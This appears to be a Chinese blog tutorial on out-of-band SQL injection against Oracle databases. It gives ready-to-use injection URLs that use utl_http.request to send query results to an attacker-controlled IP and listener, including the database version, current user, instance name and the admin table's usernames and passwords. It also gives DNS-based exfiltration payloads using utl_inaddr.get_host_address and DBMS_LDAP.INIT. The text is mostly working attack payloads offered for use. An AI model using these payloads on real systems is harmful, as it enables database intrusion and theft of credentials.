ORACLE

Oracle注入之带外通信和DNSLOG注入非常相似,例如和mysql中load_file()函数实现无回显注入非常相似。

下面介绍这个技术中常用的函数和使用。

 


 

环境这里准备两台测试,一台注入点的靶机,一台接受回显数据的平台。

接受的数据的靶机:

nc -vvlp 2008

 

0x01 utl_http.request()函数

 通过utl_http.request我们可以将查询的结果发送到远程服务器上,在遇到盲注时非常有用,要使用该方法用户需要有utl_http访问网络的权限。

 

检测是否支持utl_http.request
utl_http.request 页面正常 支持

 

http://www.jsporcle.com/news.jsp?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --

 

 

反弹注入命令

and utl_http.request('http://域名或者ip:端口/'||(注入的语句))=1 --
注意|| 注意转码%7C%7C

 例如这里使用

select banner from sys.v_$version where rownum=1查询oracle数据库版本指纹
http://www.jsporcle.com/news.jsp?id=1 and utl_http.request('http://192.168.5.28:2019/'||(select banner from sys.v_$version where rownum=1))=1--

 

 

 

GET /Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Productio
n HTTP/1.1

 

 

查看当前连接用户 select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual

http://www.jsporcle.com/news.jsp?id=1 and utl_http.request('http://192.168.5.28:2019/'%7C%7C(select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual))=1 --

 

 

 

 

 

查询系统用户

复制代码
http://www.jsporcle.com/news.jsp?id=1 and%20 utl_http.request('http://192.168.5.28:2019/'%7c%7c (select user from dual))=1--
http://www.jsporcle.com/news.jsp?id=1 and%20 utl_http.request('http://192.168.5.28:2019/'%7c%7c(select member from v$logfile where rownum=1))=1--
http://www.jsporcle.com/news.jsp?id=1%20and%20%20utl_http.request(%27http://192.168.5.28:2019/%27%7c%7c(select%20instance_name%20from%20v$instance))=1--
复制代码

 

 

 

 

查询admin的帐号和密码

http://www.jsporcle.com/news.jsp?id=1 and utl_http.request('http://192.168.5.28:2019/'%7c%7c(select username%7c%7cpassword from admin))=1 --

 

 

 

 

以下是常用的一些命令。

1 当前用户权限 (select * from session_roles)
2 当前数据库版本 ( select banner from sys.v_$version where rownum=1)
3 服务器出口IP (用utl_http.request 可以实现)
4 服务器监听IP (select utl_inaddr.get_host_address from dual)
5 服务器操作系统 (select member from v$logfile where rownum=1)
6 服务器sid ( 远程连接的话需要, select instance_name fromv$instance;)
7 当前连接用户 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual)

 

 

0x02 utl_inaddr.get_host_address()函数

and (select utl_inaddr.get_host_address((select user fromdual)||'.aaa.com(自己搭建dnslog)') from dual)is not null --

 

 

0x03 SYS.DBMS_LDAP.INIT()函数

and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.aaaa.com(自己搭建dnslog)') from dual)is not null --

 

 

 

 三种函数用法效果大同小异,具体视情况使用即可。

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值